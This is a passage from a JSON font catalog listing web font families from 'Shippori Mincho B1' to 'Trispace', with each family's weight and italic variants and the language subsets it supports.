800"}],"subsets":[{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Shippori Mincho B1":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Shizuru":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"}]},"Shojumaru":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Short Stack":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Shrikhand":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"gujarati","name":"Gujarati"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Siemreap":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"khmer","name":"Khmer"}]},"Sigmar One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Signika":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Signika Negative":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Simonetta":{"variants":[{"id":"400","name":"Normal 400"},{"id":"900","name":"Ultra-Bold 900"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Single Day":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"korean","name":"Korean"}]},"Sintony":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Sirin Stencil":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Six Caps":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Skranji":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Slabo 13px":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Slabo 27px":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Slackey":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Smokum":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Smooch":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Smooch Sans":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Smythe":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Sniglet":{"variants":[{"id":"400","name":"Normal 400"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Snippet":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Snowburst One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Sofadi One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Sofia":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Solway":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"latin","name":"Latin"}]},"Song Myung":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"korean","name":"Korean"},{"id":"latin","name":"Latin"}]},"Sonsie One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Sora":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Sorts Mill Goudy":{"variants":[{"id":"400","name":"Normal 400"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Source Code Pro":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Source Sans 3":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Source Sans Pro":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Source Serif 4":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Source Serif Pro":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Space Grotesk":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Space Mono":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Special Elite":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Spectral":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Spectral SC":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Spicy Rice":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Spinnaker":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Spirax":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Spline Sans":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Squada One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Square Peg":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Sree Krushnadevaraya":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"telugu","name":"Telugu"}]},"Sriracha":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"thai","name":"Thai"},{"id":"vietnamese","name":"Vietnamese"}]},"Srisakdi":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"thai","name":"Thai"},{"id":"vietnamese","name":"Vietnamese"}]},"Staatliches":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Stalemate":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Stalinist One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Stardos Stencil":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"}]},"Stick":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Stick No Bills":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"sinhala","name":"Sinhala"}]},"Stint Ultra Condensed":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Stint Ultra Expanded":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Stoke":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Strait":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Style Script":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Stylish":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"korean","name":"Korean"},{"id":"latin","name":"Latin"}]},"Sue Ellen Francisco":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Suez One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"hebrew","name":"Hebrew"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Sulphur Point":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Sumana":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Sunflower":{"variants":[{"id":"300","name":"Book 300"},{"id":"500","name":"Medium 500"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"korean","name":"Korean"},{"id":"latin","name":"Latin"}]},"Sunshiney":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Supermercado One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Sura":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Suranna":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"telugu","name":"Telugu"}]},"Suravaram":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"telugu","name":"Telugu"}]},"Suwannaphum":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"khmer","name":"Khmer"},{"id":"latin","name":"Latin"}]},"Swanky and Moo Moo":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Syncopate":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"}]},"Syne":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"greek","name":"Greek"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Syne Mono":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Syne Tactile":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Tajawal":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"arabic","name":"Arabic"},{"id":"latin","name":"Latin"}]},"Tangerine":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"}]},"Tapestry":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Taprom":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"khmer","name":"Khmer"},{"id":"latin","name":"Latin"}]},"Tauri":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Taviraj":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"thai","name":"Thai"},{"id":"vietnamese","name":"Vietnamese"}]},"Teko":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Telex":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Tenali Ramakrishna":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"telugu","name":"Telugu"}]},"Tenor Sans":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Text Me One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Texturina":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Thasadith":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"thai","name":"Thai"},{"id":"vietnamese","name":"Vietnamese"}]},"The Girl Next Door":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"The Nautigal":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Tienne":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"}]},"Tillana":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Timmana":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"telugu","name":"Telugu"}]},"Tinos":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"hebrew","name":"Hebrew"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Titan One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Titillium Web":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Tomorrow":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Tourney":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Trade Winds":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Train One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"japanese","name":"Japanese"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Trirong":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"thai","name":"Thai"},{"id":"vietnamese","name":"Vietnamese"}]},"Trispace":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 